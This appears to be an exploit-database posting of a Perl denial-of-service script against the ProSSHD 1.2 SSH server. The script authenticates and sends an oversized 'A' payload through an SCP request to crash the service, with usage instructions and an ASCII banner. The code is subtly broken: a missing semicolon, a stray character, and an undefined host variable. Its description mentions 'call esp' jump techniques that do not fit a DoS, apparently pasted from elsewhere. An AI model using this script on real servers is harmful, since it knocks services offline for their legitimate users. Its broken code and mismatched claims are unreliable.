ProSSHD 1.2 20090726 Denial Of Service Exploit

#!/usr/bin/perl
 
use Net::SSH2
 
# Exploit Title: ProSSHD 1.2 20090726 - Denial of Service (DoS)
# Discovery by: Fernando Mengali
# Discovery Date: 13 january 2024
# Vendor Homepage: https://prosshd.com/
# Notification vendor: No reported
# Tested Version: ProSSHD 1.2 20090726
# Tested on: Window XP Professional - Service Pack 2 and 3 - English
# Vulnerability Type: Denial of Service (DoS)
 
#1. Description
 
#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).
#For this exploit I have tried several strategies to increase reliability and performance:
#Jump to a static 'call esp'
#Backwards jump to code a known distance from the stack pointer.
#The server did not properly handle request with large amounts of data to SSH.
#The following request sends a large amount of data to the SSH to process, the server will crash as soon as it is received and processed, causing denial of service conditions.
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.
 
#2. Proof of Concept - PoC
 
    $sis="$^O";
 
    if ($sis eq "windows"){
      $cmd="cls";
    } else {s
      $cmd="clear";
    }
 
    system("$cmd");
    
    intro();
    main();
 
print "\t    ==> Connecting to webserver... \n\n";
sleep(1);
 
my $i=0;
    print "\t    ==> Exploiting... \n\n";
 
my $payload  = "\x41" x 500;
 
$connection2 = Net::SSH2->new();
$connection2->connect($host, $port) || die "\nError: Connection Refused!\n";
$connection2->auth_password($username, $password) || die "\nError: Username/Password Denied!\n";
$scpget = $connection2->scp_get($payload);
$connection2->disconnect();
 
print "\t    ==> Done! Exploited!";
   sub intro {
      print q {
 
                              ,--,
                       _ ___/ /\|
                   ,;'( )__, )  ~
                  //  //   '--;
                  '   \     | ^
                       ^    ^
 
      [+] ProSSHD 1.2 20090726 - Denial of Service (DoS)
 
      [*] Coded by Fernando Mengali
 
      [@] e-mail: [email protected]
 
      }
  }
 
  sub main {
 
our ($ip, $port, $username, $password) = @ARGV;
 
      unless (defined($ip) && defined($port)) {
 
        print "\n\tUsage: $0 <ip> <port> <username> <password>           \n";
        exit(-1);
 
      }
  }
 
#3. Solution/ How to fix:
 
# This version product is deprecated
 
#  0day.today [2024-02-15]  #